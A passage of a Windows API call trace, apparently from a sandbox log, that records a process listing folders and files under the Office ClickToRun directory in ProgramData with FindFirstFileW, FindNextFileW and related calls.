	[0062.750] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ece298 | out: lpFindFileData=0x2ece298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 0
	[0062.750] FindClose (in: hFindFile=0xbaa248 | out: hFindFile=0xbaa248) returned 1
	[0062.750] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38d0098 | out: hHeap=0x2720000) returned 1
	[0062.750] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ece51c | out: lpFindFileData=0x2ece51c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0
	[0062.750] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0062.750] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38c0090 | out: hHeap=0x2720000) returned 1
	[0062.750] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0062.750] FindClose (in: hFindFile=0xbaa7c8 | out: hFindFile=0xbaa7c8) returned 1
	[0062.750] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0062.751] FindNextFileW (in: hFindFile=0xbaa508, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0
	[0062.751] FindClose (in: hFindFile=0xbaa508 | out: hFindFile=0xbaa508) returned 1
	[0062.751] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0062.752] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0062.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0062.752] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.752] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1
	[0062.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa608
	[0062.753] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.753] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0062.753] FindClose (in: hFindFile=0xbaa608 | out: hFindFile=0xbaa608) returned 1
	[0062.753] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0062.753] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0
	[0062.753] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0062.753] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0062.753] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0
	[0062.753] FindClose (in: hFindFile=0xbaa788 | out: hFindFile=0xbaa788) returned 1
	[0062.753] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.063] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1
	[0063.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa8c8
	[0063.071] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.071] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1
	[0063.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa9c8
	[0063.116] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.141] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0063.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa588
	[0063.142] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.142] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0063.142] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1
	[0063.142] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1
	[0063.142] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1
	[0063.142] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.143] FindNextFileW (in: hFindFile=0xbaa588, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.143] FindClose (in: hFindFile=0xbaa588 | out: hFindFile=0xbaa588) returned 1
	[0063.143] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38c0090 | out: hHeap=0x2720000) returned 1
	[0063.143] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0063.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa448
	[0063.152] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.152] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0063.152] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1
	[0063.153] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1
	[0063.153] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1
	[0063.153] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.153] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.153] FindClose (in: hFindFile=0xbaa448 | out: hFindFile=0xbaa448) returned 1
	[0063.154] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38c0090 | out: hHeap=0x2720000) returned 1
	[0063.154] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0063.154] FindClose (in: hFindFile=0xbaa9c8 | out: hFindFile=0xbaa9c8) returned 1
	[0063.154] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.155] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1
	[0063.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa808
	[0063.169] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
